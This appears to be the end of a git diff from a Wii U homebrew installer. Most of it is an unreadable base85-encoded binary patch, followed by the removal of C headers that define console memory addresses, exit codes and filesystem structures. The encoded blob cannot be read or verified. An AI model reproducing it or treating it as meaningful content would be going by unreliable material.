z>(|8x*MlDxpN~4(`m{KX@@=){&0mf0&15TlGW-G8VwnCh)a|wnViU*KX&!8NTfM@M zUJ17Ky9u_m?U=%w4}kl{drpGSh|hT({C06pANXc*JM^*bL*lY^V3dnm|1*w$Az?0ow^#n1i+xJEn`Hoo1~ z*EtC=?0{+3BCqYX?&dB8pQrF?UjajI#z`y!_ll#_!SE>zzu-S$)CV~W?Pa^GQWE$>?E`sp1)-JlaS}mCqwD~)`s7N@aGh6%JnxJjyAgUWrg!>^R6Wd z&nf`tDV#R2Ypo4OS$FNU@*Ds+SVmjib<8qsW7idyQCGX(X&H5~3%W36yc_&ArQh&Y z@Iwmccg1)8#^yB!hOc0`vYr6{Q}L;{-BT3Kcl~$IR5;7Ed$A3_4h-MTx?s6>Z@1wu zf%n+Fy1`ABZv><5P_|9?f>Gaw9|5B;HvBjk@-xjzu+80HRQSeW@MB6p2eRx&d!fwy z?)~m(Lo)xxhJO&@{|IE;1DTorMx?z5avHuLe8@8DbI%FOzXo3>-ZTpgIVn#apM9H+ z16$kkA)6QKf6wQ{d|!XheKrnc-t%)koBK)d?-kDPz*oU1Q~t^8z_2aDgW#o#Pd!%^ z+i;Ynsx&A|Rn&&VzIaxNva!CZk_w-)2;8A?+Eo>F#Pp}^2cy1Oc8&+CuCe@8@XeN? z|0*kg*-K!wC8Mjk;O8tu#wzQVI$@7{bL_L-V3dXOoJ@f8ZN9Gsqbv-sYyoew;kSdg zDEwU5<6hXkk@IU{l#%iCp9do?6aGsu%4p<=4)?x6apu5I_FiklQSQBWD*n`L@MkTT zfMH8alY6RrAF$yu@OKqXo$vjz4Tml4{b^9HeNz=@Hp;Ru*M>KMQ7@Ej>h<8Amj4^P zH^^%r>d3@-6yeCj$PYPr&VcevM_bwV8in&W3HH53;nd;28||~O>wUKtAPSv>s? zoU?%*nEv#)gJ&r`54zlMecJRF!38SIhF&nrvl#IwA#6YL;IlI@ZrQ)f#<>Q3p4AEC z4BI%>VA}@E%D~n?82&isd`QO|L-?odv-RK~g~ETK@bxz!9A&1?*WV8Qw`J(*K)z+@ z-~jB<#DT63K<|cM0v{J|mw6moMVFnD2vhOe>^V&Tc<6tP9wPrp9wz~S)g$G zhX~5c_%or`NU_3M*AZLxHP?ZwB8%k<+s18X9VHZ%WQZl!dKaF z*i1EKHt`t_d-b1%E{tqv5Z-S2TCnYd*4+<=945}M!FNfvN|d$Qwgu|B8eQ*am<_MO-?cVYz%Ll%xB9S_ zvkgDgV~6-*68%4{wi#xwkh#vo zA9Bnu<&?7jX|O&my%(lFCnp9P&JXBglapg_!zZ-N3MrGmac#$E4fmM7@WZNKmV|$6 z%$R7PpQIdlr&Ggo0sU7^F1Ed4xe-{kmV32`OuEx8F^r{&a% zes`eE9m-pn!!x+0qu(k#&?j$1DDvu}(6#Gy_zjiIvGcNo)kU4l3RNzCURGmr#?3PNTKph>UN+g} z_ruuX?0gQMuR8g?@KURbHp+b%uHM_=GmW2z&sY7_)9@uG$ChRINXo390RKn8p4&~n z9{F7Xd+swi`<-RKGG<&a`<<0J9cIpVHq>+esLXg5JYLJ$bTNFm%H{VCn=GDX4ry9w zWj+e8RIZ_4n$~FE82#RqG5KjQ?G<08ndh3`WAbmqJ5(;dZ92>3w7m(tMZa$u{85#U zX@&Qxyp1u^^cj=WcTHb2{ycoAF@4eWJ=L$h8vcpO$I_ooztDCaf*+bJ9!_2k6A$9& zvE4AXihmAS!u3n?I9>-&H6Df+nm#rxUlfpIt1E~3VL5qRUeW0>CMK6}H)bp>C+&2u zgU_>l)8p`^Rt`R2{uyIzU;c%F&R11Ft^oN>R?dy^k4%0dOxs=g55O<#I#AxXy!;K7 zPayW1OHF?bJk}ULG!t{umT~WcCkOP8HTlKJk5~D`6ij>lW02-9s~3Bk`z29; zTruBt9){~oPMIsxCVv)Ye{3?8b>4eUn0}EMmfr`E>#tId z{I2K<)|^gGpRRboe0VMVxbi_ifS*(yS>LXBUgZZr#d8s!a_wPoOm*I~3obGFad541 zJ3QU^LYQr0LroN>T9-bJKh#vfgQkO@TRvbq=(g-N`CJ%Vr5t&-xP>;lb)7Kd z*_F8&zQ_0y_`ZM+vFmi$-trscr(yn_{5ALm(sc00N^7G$2fPydoQ}wcjcM;n;@ioa;L9xUJowWlzXJZc^1(guUB});3 z_+_|WS)QS9C00adEM>N0o6G}Ywzt~YAG-v$u|F2yx8hqjS6l*r-tuBw>&?pJXnX6= zt(?>0M^!G*^0q!Ii2NYzZ`)@4ApAiqb1VEIlRplB(fDCg! zTCJ;+wy!mtC*A|kHyvVs?MVS0#+uAU6aS99P32Vy*xFJ>Th^Xs^2xCIxoR$aqsi%$ zwaf|9-pW1j@2u}GfuA-xzFJGaIvw(@qg)po9{eto-vQ4weh_XpohaO<@+$ndj`fhs zi=FEROnwtg-QvS-_-EaRM*Oz!Ys#{JS!X_%b1du3=MiFQo%y^_Y%@PgpPp=foQG`?!;_Sy+xCPTmlZ4=bmr|K!U8a$-aD*WZf#>jC+4k1u%9?zfW2NZ!yM}_4q}~ zk>j29J5A2mU2kKpuoFJl%Arl`i8<$!OJVbKn*Ll*e~3KwBbd2Y>N@OT_#rJ{&K<2M zPMn5KJ$vvL@}xKr!m{|&Uq)yo*!Fh$Gkrq4GVWBTi0`rDOH3~peY zNW0`cgd0v#`Qh~GhW3&6Zs;}n`;ZS>Ika1zLvwAp2*%friNg(F)V!Nnb8h&G%9F&# zhI_0W{ITIa)oCV9H$1HJ$=I>sSAlx5PwbR?pEvy3%1^+r7}s#$aEb9e_)yLJ?h|1C zq+R0Ajf<66Ujw%(SJJ;5)0#K$CYXK|eTj{YyRF{$!e^*lj_)>}Z}NL#VpVKAq6+@3 zmXn}gHvXr{SHriO`~mne8~Yn!`c!#GqG_Kb&EXqI!s%nd?{zsky_4?_+S%u zNSQ~r!Ap!UgqLgHI5upe|D>Eawr#S0j6V*are%&JW;WS)3{QqXW#!P1n>fCZdK>8L zP1mdZs2{_$UFw}O9==0$wtf(%zePTE9E_gi9bnvSBEOSwg@3JbIbXWzX_J2g#y_GT ze+*{KivF}PO#4MX?JSOm<0h|#D~(Tt8Ox$0_nV~;F~3cO@s;!8jWBwy%-_Mpd5(zz z$FCqK7IXUTDnB}fe2d8+fbo@ESJc4!O#U!ToJl!HOTEm)Ilj%9zDnO2(7)g0&B!fg zVlTrlSot3OPt}jqbDxdHb`%>nA7i?vWUH$SrVpHL z_;~Y9<>^umbC&pU;e#;aS9nSizC>Bh0dD@Zvg}hf|EF^PZuqW%oOVgxLpes=j9#boTecJtiN9*$+wihvT!351Gz~VfxhR{|qLEg^#U)vClDn>R?~% z__Hwcn7h`TfFCkB@!RpZ^6YXLKZ^cr;;w`F-0?P;_B#Fq&mDOq<#ZA_PW~O_)yBVt z@q@_aKCI3o)c(n2?3{0M`n>Zblkb5$)F za-#6F#w9#Q6gQp-TkK87|5^O#@(#c=b(}6@9?H%RFm}rL?O2GMzZ@@7o`avWO#xo1 z9Ad7`@+bO^=>y>t@L4t!;H}Duk0b91F#Rq1vIflV3h0f@cI2N7@Mo0Q%tikB0AHtE_!Hze1o$T9G0TzP7GU~Y%8%TMoOvV1Hcu|0f3iPS zxnstW=&U3LvcC%O6UwLNA*U}z$1!t@@TPIdUkdO)lv6JwXFno3!t$=LGm7<>nWV?+q~H zS@fB9y{^jxO#g{|EjD(2A;4czo{etTe+2ku<#ohh*X;qmTe+|i`8@%?Pr3R@^3&)f*=R{?hujKct}r7(U&!|_i{i^-6EGYd5AoI`JpK$r;HF~=H$eR=;u>R z=#qf^Qj?4R0|EJiDwlOmI58p*r&KP-bm0X7dA-V0>-c|HKz_Q(f5iVc1mriWypS@& z)ZyD1e%9n{kKj*V9;r}y5w=9;1>};Sb`?=iWNSd)WAc}g)5csmSEyXB!$$ba$!WWk zBm3gWV*&Z&Ca3&pzz@-s$Nqy!{T^EqwpmMp#FOe9LCsHb( zg8hk_fSfi;Ia6pyg1Y_oCZ?FY6ZzbL9NV0J4|4u;`q(D&sauibi=5p0MeeOlTo;g= zozp6iKO2xgujL#~KjhI`7D!@FCSm!^y^Ljx;JfTckghfo&Sdi z_5ZCt4Q6{X(}uIVhP`Q>nc<8#t$k?7o93j0{VLJ_CGU)Bvus;uwtf4Sba!7@KlvPI z+S>=SJ4S8p>F*eo&J1Sywqz+@bNDG&nTmS4`?CIK>hq>`^!N5=`!Ft`)HRst&ElN@ z&Zib-d?$0P``|OVw?6lY8nHk3gcrDUsOJ*qWMW0$i{Nqf)Y&(8xsbShu9{P`b$8-56u z_sn?Ge*YHQHYsl}e|{eDp$kYd2jo8fHr9hdy@y#ZC4+wU^*)83_-FxtBz2|&o_buDx?-u)C^+KyZO?m=<{>Rt52Z6ADLaXm)j%f0e z{4e#&=R5ob?OQ-n+AH=|*f#M?DSsBrQ0Ona`2IP6{>QIN{?LFCP{YTgGnK5hb^kb&ao;Cg0+S=(NuIr-*-GaH%~g=E_FKOxtifMC@fZjUI8s2S z0Y!;RMOSsV)t{AO6Vccr{=ZiiV_s|tU!PWN6saerOyuvEGFA?Xc&S9J4th@hOOQxB}wS1ij+)Hupn@UUyW* zvKQ-41UMDolH&9(FHQ`HPOtDv@OWqf7KaG3&_&K-R%24pL^)R*mKUuM9x_#$)$uvP zR+EIQU(<2IR@3pqC7SmH;R@w>!ZphCg~uz))Y)C@BHarm;)|)dLAT)EaD)0Qj(@`q zd&+qN4&&m{+g}++ve3XcHllZxoe5#<8yv>#DO7JE+)qyyLL}SJ20Wbb# zr&*jHbkFQ#LUDSh7r##Om<89v?dHp`2p1Kn+q=9tQ&so|^Xms5ZA=r<|f51-$n{1e(eVVyG5Rw%wv`5|;(+pH|ZwR@|ZCGco; z0%7mI+)1d|W|D-Tcs@FfK^~pJ6wQAN;^BIX*<3BDcvuEyx0^jl5FhcyQQP7YiC`jS ziRF@~#1hTySC6Q$M2l>hZi$stvu~CqI41SF=UQSldFtm`Vja!fvA_}po!4D&3BoS4 zV~Hh*yTnp??XXx)uzB4rmPku;+AMK4YI$;1S=7$O(-()9Sn30$R)?A_bv}w4!jD<% z!>Fgik6Y>^Y}*ok-Z?MUH8O+7x|};>vZKM}v3;XmE=hBFtXDK+yF~L0;Eqw6-WdVS z&-$hPazsaK{vN|fX2sa^ZWx9ASu*Zc6bErM!FDe$(@^-)F~X^Mh(h8E)fplFi!Zd! z4N2R&t#d5+ zQ|n>NYg;YRD~SP1^hsiuCHkr7>OGbiAo2C{Eb$)Hy05atpyc_SC59w%oh61Paib-+ zOX4<5?2yFWme@(6`$yuC812lv+BsxQF8y_v&da60gM*yrP6)_QqQSutk{`wrVf z;%~bo50fP5@*E^-oJyQqdK_hBNFO0Pbi#g@bcpd;cd4f}tH-W`Albp-;*gh>J9}nf%6;Ud`PX9jmHaD#nFkGonncf(CyYB1? z_P|f+uBL!lX6$vkt0_2#VfS1~@nB}BSHOgmdQNxS1s|Xs+tn0&P*`_01?S=E@wH|H zEzkeHvvIC#c|LB+f7lsSE5A8gpnLR!4+o55b{hMl8MT*H>UcBiV*#TsaYkt)J{~Y? zU%;qOIHSyvTIyw{P$Al5@pT>YXGDme@WuB*}s$woeU7 z&g0&gy{Y03c8JOO!X?GozD_TBqOf`=`R)-zk_((6#U1@UUUH#utus8iSUfdRnI%nS zp6-Z~jZ)4Ol`j>ZuDne0&MNMvswTm?*0zb5KSkPButwW<1cLc)zAH(}FWV%~bfYgB zBJL_r)X|p=)k#99t7NF2M7>T|$xwqNQdatr3ODWbB0v>3FnNxwYbD<%cp}<_a6dsQ@MPF+;`Z0N8ESR zeaEbXmFQn7CD>6(em8<=4wbCxUS{glKSUw*8>`~eSaz-}rsnzKIQPF7@ios{4`r#_9YIt+J9Ip`3l% z^uK_Ab&-|Gf1X1QxvQV?_yTwo)eFCf%3eD>%72axlf+ep&$#cux|pArANr%jjf?sG z&@*J4qcNW!`V+e6YRu<{o|UpR=JP{;mMppg%nxA*v1tWROL38|0P{nbMReL03?n=z zNO9F(3Ou&w#47KhiT&!OS~#-(=G9Lu~V0m`SP=g-gI3~ z=7(OB#PQDiMe%lxyOp!6sf7Y~m-yT)&BzOTusB6=J*J#4BZs z-^5Qz!fzshNE5Bn&q}3!8?Tmx-^R~L!f)f}CE>U63u2Dn#xF|3Z{szhHqW)OxWct@ zbAFg9rSwFt&Rs6Fld(SfWAlv{_=2sI9XE`x38vqx$mI zi3|^>sZbT|I`!>_tFE;3L*r1Y_j52Om0t0$a!42L$fF9PUR-yh>$~y!A*SWBacWQq zH}b>1mcWgrSNKEFP0Wc29W%(z#9THtHKAiBJV)4%PG;${sn&C$K&bQ(SbEecfF26cgzTPk`PE4FWv#$jQES}MNk zRK6i9-}O~0`rS{$cx@>>SMkc*jV33Lx$n4|kvdq4krI=aJ6|RlHFyL=%XbcZv&;8wsz_Z#QV)Gb<@ktbSq^qSm49+MUZAF`%273W-7cU1 zMT;%hwdC^aB=D=IN(oiRNC_K9mEhXtiWw=ZXsln%57FQ1vi3>V^G0QL8Op}_x{si6 ziPQb0=-xa^*WBj}^)vhdE!T%tKa>oQ`WcdE`Wh@W5_egP{u{vfgxd6w$bnhfLU%IkG%O@`kj z@f)35lMzN#RpofCClVrYNUbHpBsS{Ynv9@Vb)L?x$%usD%~MQ`VO#a+bW6lZJT=P_ zw6^LcT@@rF(uZU9WMMLrPh#x?Q!60RQE!PPi3^rkB1K|flO>oht3TUf2`1a>TiPs9 zOyYaGDoDzm7u7%2T~abqN=tvX+0@F|@|8|Yl(XeCTP?u|_S$-M3hORn%`{Rq9M1Hkn>~!5}6*1$E%_htY zrn|A}QkP|BaLV-?%H$D(|yxjO1|_IRoUC6p5cHGAw;$P$phdDMK>xO+^M|e$BhY?h-k1 zTYjtY;YhlTk7oCAzcI$<}dKx<8lq zoB-4Rv3;h$FChPPfUgPg*8+S?An#oPIlG)(T@MEMSJDGk*OTIBh+jVq#IXWupaBI%`1JP)SnCn4Bq2d8}FO66377 zF2Q=y&&Oq1sZD zCg${AwUY>W?=Y9i%`F6|UZiKpkNSje6?y0z(a>u}g1vQc|&c2IeDoE@XTA2X~XC%wg1&*wDB_aUe4|lpR#2knZ7bR~70g zWd{fQbK5%lJA>v?5xI!FEj|71nI5r^OdjRQ9aHHpu{1r*eZa$+o(3tWb>X^2+xt2& zHq+UW>FH_DbZqn1EpJLUHn%mbYF^lsUfj^!u!{d1n%f$Aep$BFEm^pVblr;j#^%N8 zhE=OptP;bT=#S>@z3th-q55oBW_!=@noQ63tZZ61j2qjx4`rPWWE^F%V$PD)n zdg-C=Ex0l*R~)wYNg~@>D>tA>KQC-+Th(~d>b8b-UH!tgghIZ+ZIH0s z?K@wz>sQpRcJ6LoQQr^B{f%?xeWDu#<2 zCFx#FkT}7`8or(z&Rz#j$#l@?Lmn4!>iawJ7AiJ6(}T0-5}B);`uT+u3K$&TPouYe zkWpe$I3TxOZtru`NT>ExeYQjT-5H55_8Whrhnfyt>6EsHb!}d$mG>>6e~jOvPX*FgUe^OWRk zrc=9n2euDp(*sgg7pJwwu(wP?C)L$A)_LiU{{C&65y*$QVechkMgIJ9+YLCrPn~_A{-yfnej$&5G&zhPozI z-`dZ$I4OKo%rvZ9Sl1>E_Px-|0M>xPsKG4+_-@&(k))=N?h&WV_zTPm&OL#S#DI?e z?KXCE^LNXthWds@jm-`9{uKUS){~pE8+x#;Z@8|XnP|T<7p_{kyn!8rUnKkDo=%3T z`k;HLbI82c+ue7d-dbIk=AB&anIR?snN_+xW}g1ROnXmu?bhz$?9f1FWW+P&6C=Tf z(}LFF!Orai>Ouw;;kdJ7$ikn^f!?={->H+gc$vK0JBEpCt#xt!g3+oy*DE145B`2S>sW#OvUk5g zjZRfENJr00tUj5IxWX z<|p>-qo#PTC&Or>LTQ#%FtS^A^RhG9Ew}JbZoiH+5Scn0ST>9_Kj+N!4!24pM*N+M zU&yFkJ&U1Zhdcscbia=_$So2Z8(PI&@m?UzWv3y-l)-All%3(oE=$5xa$(lU&Xe@w zEMeN+p##-T$i31}vTjLt$;uUrT6eQ!>20(%l`K`#tqpZ;jVqdU&$WNk{KmTol~84V z4^A*7XNXMK4Wp+EopW?gz^$#~fKhY(Nh?-2*EbM}G}uB=NkZh^Oz*~#1QutE+1+%quZ0C%ubFVD2N;AiFNb#`}9u-h{nVAsV{*7Qm4 zfQmALJN{8FOf%1M^fBEz;4MvSTQpZXVDyZnu1!fx_t%%qnFC_< zBDc79(}_)2-s0xfwRJOQ)Vf3O+Nr%A1Ka1%Id*#O)Gf7BSIl(9HLqw}I5K)LKu6#H zzHeR9xTr0?w6WC_N60annA^mBHIidwwsMQ4ZaL&TP+M7ju_x&49?Wt)HRxvI<=I{a z1iN`DRSp~c1-H!*t{DHQ!JiB5v4Dn)Q(zuc20%;Aae8#T`bnv)}N6jJiD^{P> z)X><*uf6W*cAMW48Fj5Qy$*R6>m>G++x#&yaunf9#I%tfuw!@&Ij>I+fEXj~vUsvd zdH=S!oixi3j!6!%vTaYo{Do5emm2jJNFVi zXdyRs%A#gu2kL5JkE_A8JFC0DMY0A!ogKD#sI$K}BQvV2C%1|bceFIxh~M6~T@J~J z#=*>6`k=9XRl_1#T~U#Xgp8aB>DV!hr#v@~(>=3iW!#!+|A?45edbJA zzvtW_Yqc#hX!qB3)f}shl_~RWG<4z_9pojY+mUgEsH)Y|eDY_iFnhz`zDbt{&SoEwqu+~(G{ZU>~xSq}II-P)A5 zHn=0N;IYAh4o-T5X9%cR)?3b^KDXpRa)2pQ6xia1!P`%MZl-2oRoCCMy|+)#>3RKw z-CMNnBc@7kj*NL1Z>`R8Zyl{GTH2g^M7eo++lplk&8-Zcq5kw%cf!O|e-MWydR1%Vnuc^+Zt2Vti&HIu3DZ9`Wl5DQ1EmAI-*dYH<_ta2%K3y$r>-=Z zu*hPwnaw)ZS^KTyMIJnb>Cc`yf7o(A5J=i7y6$39u(`vX=_Hp;PHttfV`T3XTzmUV zQSobThF-L4;bJX{LUdoYkQIJ+hn!|{CyQi1$DRd;ZA<&dF@g423u!=;osjhV&7BOT zRO=*dQLCOY>~m*o?PR434#~BoEohos4&Yy=hy5MvCUM;{<$}y#obDH)l3k`{U3Yc$ zNsJDSoR?(2&ki&HXXWTzb|jqCBu7JEZj?wPrQbP^BGZ2htB39mj#khLdRWWn*qz1O zey2SAE>8E!$Vls??@mcbF|C;$+2;O+-htuWZE`kMqR$gtZKovat0T3YIAc{n`F>80A4bC1xau3UTB z?;{sS+$ZY2`GU{#KUZ~f+bqpRpOFvS`8V<*G3tsLY3{Qa`H*%umiQ9V++Z>CA<44fKNGvv^|86g~it)?j;e9 zd>6(J;qp7-iOMl9>dSqiBG11HUaagr0kb4>aw;J??i5G zN!<-wTdKvj$5cPB318^9FH|lgUzB!=ytD;2`;$`s zf2h3hr|`Eeuaxs6<>V^(5oNhOCi(~E6#qwwKPj_}zK(gy6<>i1l}q1%$0|z<#3m~j zUIEWmE}-66y>f^+icz1llkpWZ{})`XbC1aLz6D$PRn@SSFL4z=T=SOWV|hkf^pmH- z&C2p%TAY3odCf+6t8$8dkntn()SEE&30FS=e@VFtzs8xfM4osZ{*H3#9WZ(>Zy!vo z2-md3_*Xb0I)76x*hd?p$|VQErOF}f$$OV_*)gzw|*=fgojn0*vbEUltb6@|E0=N@!#i^*ic||k=P)QAc@WLC_uqfW- zu*k|GMhey{=ba1_Pm(wG5d2={B4qLeqR5NB3|n8sKLJ~;(w$zxU8+;@7ufnbkMURV z2bJf40T%yKPI3(VPvxp9qzja}0oY3(YVr$V+93K>SHkqGa5xDsQ?AA*$#u#FkHJ~x zng?O&C-f_hg{_ZDXh-s+rt@J~`UaiEkKt>S<(((V8!a#6GI@t`*);e^%JB^RuyX#l z;3t%EgO_|>IlLHtT{(ix^{d!JY@}*cUim4Q_KOYT!xVK3NAO$9VzP20Y%!U-940L~ zF=Qz}4vCr69xI3WDfJ=c@@AMm6aC_=;2SLO0Bn6%vJ}2eJge^O5Hf9iSV(yuap3YClSQ(?L3-wV_CuADjW!O8_s!;_S&BJfel zsSDv5%B9p_NFK>seg-^WIh=v(luPI@d0(FBR4s#7DDzC4Cyy{V`ETJ3%7u@?u?No5%qMRzF6SSYeKmi!gAIYe$BFM3LKif@5mR+f3DnDU%Ie-BqGhc1F` z4iTG+k2Za5E+)Qxn`QqYEH)R@$HHQBafhi;%3^;Bwo3W(DQQy{`%BOhx!7NFnsOC$WXXBTGWV8Hx6}C;{8{DV)v(2_%yT8T zSzhL?k{>9`d|pByNZv4QDzW`k-s{AAfy(94qEh-&bfh0k8E?Xc^k=D!aq0KcRVptM zUZ))T1-wbQ0Qd=f0=_sr=$UXOj-Iu-eDp9#DCd{;V)RR7;uGUU~OH#ZOhoI~smiIdK^LYvm;QDxOe|*TK&y%hT-@ z^oQ6Jdk(fXmeN0!36&?Vg3Zn_aaXxRJb+AGExU@Z-vP7qfq@ zG9AjUI#jua{;WDhxtubp&R34mUsc3}*jDf+Y-1;KA8fG~xgLJm$~lhXBJ+RAC*XA| z58n!RDi@Ql`aNtW!B7AE)+R^CUwQ}b4`ntGY2-mmC~jf z$`Tz}gV*d-&d-O>QRcBUuZFl3ol5Mgv9VMAclcV%I}yIg^4%r%`-k0F0{P!Ve@m*B6y6-<7dDJD;K9><^?IIrWc-}9R3m9 zr5qu?#=b|n=uY@_<;p?$JY|{x$Kq2dr-*iqy-L|57RH)C%NdtriC57n#on=uJ>iNX z_$6cfH0~hf;u3hWaz69KxMP$(d^OI-a_kH6*(#5H5VjaDybb=6m9r1NQMsxeraznw zdtmy>G5tU8=gLLsj(gmA8*K5M_b~jb%H#CUcw$uYR^0?+t8h8}HJ<(u&ZnQpoBfrf z$InuEf#@$#&P%~f%2jM1zfL(xyT*4a%Nt?F4=9&0|BN^PCpuvBe~7*qe~IdNA~*j> zY5Vx=R9-j_rf#vV_+0pI<Rl!6m3o+8JjQRXUgnTdmBzX=?MqWD@Eq}7+kf0uQU1cKYqRPf7loD9-mj?8~BrW zP4XvgEa5Mozd(7%Uqf2j>VI5$Lvn|FW_Yl_PhYC~uimN3i&f{=y3fD!PSxrgU1j3w z+&fhh=Q<0$sH2v)8FcqB*gPXnSWWZ&{VAw+DDJ?BK;<u$iG*{SaI!@SX zV#(q)mS|q4Rj;u^nW@)nloKsjCd0IGyz+^{wJ!R2XKHLQoj6Ii;NI{gs~P`>C+(4N z*H_HG5OOE_+^(vX=b9qSr$u$8wrb~3UdEpNS`mA64^wU(TMe7Ch^lQjH1 z=bZ4dlo>u>{;W)KS@Q zr&+{1Q)AaU#iI01FLs@vS#UjklKJv0!bL^$&eYgf$+_43Dnr-z`p0jI*es^iDh$PO#6yhk@HKP-8-daTk2Gt?{W%bN+s z7Vw2!JRdD$L_{N12)yWmSh!v`S4%1umOQC6-GbIV&awG}EK` z6_#j`Ez>QrlFd72S)x_8=xY#S;nn1ssINhYh1U@{YkYGEI#foMZ5?jz_iL=?gJf-hUjfKy}(?j;o)L8ffq>iZ6DQa^ zQ)A%|Q^vFQ&eT}=BWzpDJ5$AZu|@XIRD2j)B$CLJ=JME%(Jq&yxjeSqaAnY^-?kS&eTKH86p1T zoeY+!VSA%>u6t+d;R&tgS!e3wu7ILgXa)U{Pq!HAcl)U%*7`lo3=yBI z@3@GCd)V^mR?E{Xi2+OWNn)2J`l;vrdn_?P;^Olx@gCF~ud)PdVDHh-Sz<^M*I8m% z5;t06yCiP2gse3lz1tEyNi_aQ93n3V&wIaf$e3LEVwcX#rLT5rd1q?Oy)*UuRt#&9 zyzl!C+e6}^U6O}M5_EYEk~B{B@}9EvILgQnvho&Cst@my4lzCpy{r9N6JuNseP`-K z7j7;D5@RF;LTe6^F@e~EII&Q~iRsd&$APsjx4knp79lvIk$1T&Bg95DfAl+350)+Q zdcGR}tCtw)+Y6#2FDw}SB7@-D3-W?*FW}WtBkw!N_upQ?wMTt>K{ELE0$wfU>&hDh z3UjXvaPL9jY5U;Y3yS@>7nI~)L*Ud(1BI~8DATtWl#jfY9LNgR2I^lhHCwL8?`^4#uQpU8Tf2O&ou)*gN9>*z<{-NRY( z#N9|KvMLYWrm0UPruDf`dAQa+Evt9nkA4c@p5tYcyGJ#5Q@=ef?%%2?_X^7W@%~NN z|Kj16wB1>pdqVQ9PmapHz1#wC&qDC5vAz>Po;lV>1ahxX$layrKPx=?p(nkw*Pa(< zF)z*;xuIG7vftz8Qer>P#)y$}8~*c9Uf&R@s z&Y63X0av&OI&zO!`LC6*TZ!#%S9{PpZO=}Mls+Eyn7Tc|&Yi5hk3ice5ibu!+f!-o zp-*~!kwMa>nN#!x(jcuzOJ1InO=H&f_V(-XeE%?Z|T; z5;Xcq<*1vCUFb62+#}u2J-O#laFRTEsBb42^%RkNR#bySI_!UVcP=}9*)z!Jf93tT zqh@4hW}G#JZ!?EMa_%t1ak(7R3VU*B#7f=CAB9=fzV-gx@Hxm2SDo;0;AzI=;5nA} ze)vRX_d7ie$`RRBwwjzZna44TtCwY_$AO4&JM}F z$m!7D@CxG&n8Qe?{{eW5veXr}w#Y$p*xDk$u_V9zBKi_X(wDBxW8ptqImBJ~ugc*f z{8DK8lpi6F%lj%k$@FiAXPEvFJYPBTMHs(`e)LoDZe{8Ji1|Fq@kYdKlRk`?ZK1WW z`I)u0`(0NlM-INEpPbFq6L~~A%wd$Adw22+;De0sgo!PYhiYMeEIbPn6Hfj~c%|tR z!%_Z3F5@Xmxx!J}8r@|&9N9(9{_xk}kC~k9QDR#3!<;pU5?ikPZ^QV=m2(sPJ=0-K zM1N*FFT;-;)3?z-n-2d+|6z=8VhLl$HwP73W)D13SSYPr~N^$UX3HRUVlD zTlvve*vgmRn2hJCPM9O6IDb-31YgRpGPyDjhEFj0N8u&LzkpX86C3fuTZ)3~{_2iA1|IT$Jxew9RBlR-= za`h62qsm)5Dmjv1j&gd_`JYb`z3BIq-M82$f6TQ(y^?p4W-iEme7#a6k(|`4o&}#d zlFr#A`r#3INj=Os{#VzLN|@`Mj-OS^@pipeUPGt9%O{tIa@Udg9lq)AdXawnzs)y$ z_OWb{&%bpY=^9s=wB()ZNbg)na>LE-9N)Q)^v-ppcdjG7a~+8@`gRrPo$E+kZg~&8 z$#&S402TT}K+ZcH-Wq@qgH*?pHWF9{FUU5+z69) z<$n|2ZhQ~C$C&e`xobz9lg?c``ZN3;E9YbIkBvVGbH3V@&-vWkwWEvR7fsH2=-joV zzp>Nie4cB|m2ipaJOo?YBkzNcF&(aTg!Au=zR6IsM$VBg)QQJGu=%QuXDRC3Dw~o`NaY#nQ*&l~(4-Fg|td z#h%=?qgr^E>2$zmfA~6>m=^uW5d3N7@G_Wfu6(X5 z@a}_7|UHdI)&5l{6gHicA_ zzXeX}$&ZKqe{$_;JoTseBNqOTT|2r<+vL8bz4Eui{%5Y2Pstd*COFhDU$2y;?_h9f!v diff --git a/installer/src/common/common.h b/installer/src/common/common.h deleted file mode 100644 index 538b5ad..0000000 --- a/installer/src/common/common.h +++ /dev/null @@ -1,36 +0,0 @@ -#ifndef COMMON_H -#define COMMON_H - -#ifdef __cplusplus -extern "C" { -#endif - -#include "os_defs.h" - -#define CAFE_OS_SD_PATH "/vol/external01" -#define SD_PATH "sd:" -#define WIIU_PATH "/wiiu" - -#ifndef MEM_BASE -#define MEM_BASE (0x00800000) -#endif - -#define ELF_DATA_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x00)) -#define ELF_DATA_SIZE (*(volatile unsigned int*)(MEM_BASE + 0x1300 + 0x04)) -#define MAIN_ENTRY_ADDR (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x00)) -#define OS_FIRMWARE (*(volatile unsigned int*)(MEM_BASE + 0x1400 + 0x04)) - -#define OS_SPECIFICS ((OsSpecifics*)(MEM_BASE + 0x1500)) - -#ifndef EXIT_SUCCESS -#define EXIT_SUCCESS 0 -#endif -#define EXIT_HBL_EXIT 0xFFFFFFFE -#define EXIT_RELAUNCH_ON_LOAD 0xFFFFFFFD - -#ifdef __cplusplus -} -#endif - -#endif /* COMMON_H */ - diff --git a/installer/src/common/fs_defs.h b/installer/src/common/fs_defs.h deleted file mode 100644 index feda725..0000000 --- a/installer/src/common/fs_defs.h +++ /dev/null @@ -1,62 +0,0 @@ -#ifndef FS_DEFS_H -#define FS_DEFS_H - -#include "types.h" - -#ifdef __cplusplus -extern "C" { -#endif - - -/* FS defines and types */ -#define FS_MAX_LOCALPATH_SIZE 511 -#define FS_MAX_MOUNTPATH_SIZE 128 -#define FS_MAX_FULLPATH_SIZE (FS_MAX_LOCALPATH_SIZE + FS_MAX_MOUNTPATH_SIZE) -#define FS_MAX_ARGPATH_SIZE FS_MAX_FULLPATH_SIZE - -#define FS_STATUS_OK 0 -#define FS_RET_UNSUPPORTED_CMD 0x0400 -#define FS_RET_NO_ERROR 0x0000 -#define FS_RET_ALL_ERROR (unsigned int)(-1) - -#define FS_STAT_FLAG_IS_DIRECTORY 0x80000000 - -/* max length of file/dir name */ -#define FS_MAX_ENTNAME_SIZE 256 - -#define FS_SOURCETYPE_EXTERNAL 0 -#define FS_SOURCETYPE_HFIO 1 -#define FS_SOURCETYPE_HFIO 1 - -#define FS_MOUNT_SOURCE_SIZE 0x300 -#define FS_CLIENT_SIZE 0x1700 -#define FS_CMD_BLOCK_SIZE 0xA80 - -typedef struct -{ - uint32_t flag; - uint32_t permission; - uint32_t owner_id; - uint32_t group_id; - uint32_t size; - uint32_t alloc_size; - uint64_t quota_size; - uint32_t ent_id; - uint64_t ctime; - uint64_t mtime; - uint8_t attributes[48]; -} __attribute__((packed)) FSStat; - -typedef struct -{ - FSStat stat; - char name[FS_MAX_ENTNAME_SIZE]; -} FSDirEntry; - - -#ifdef __cplusplus -} -#endif 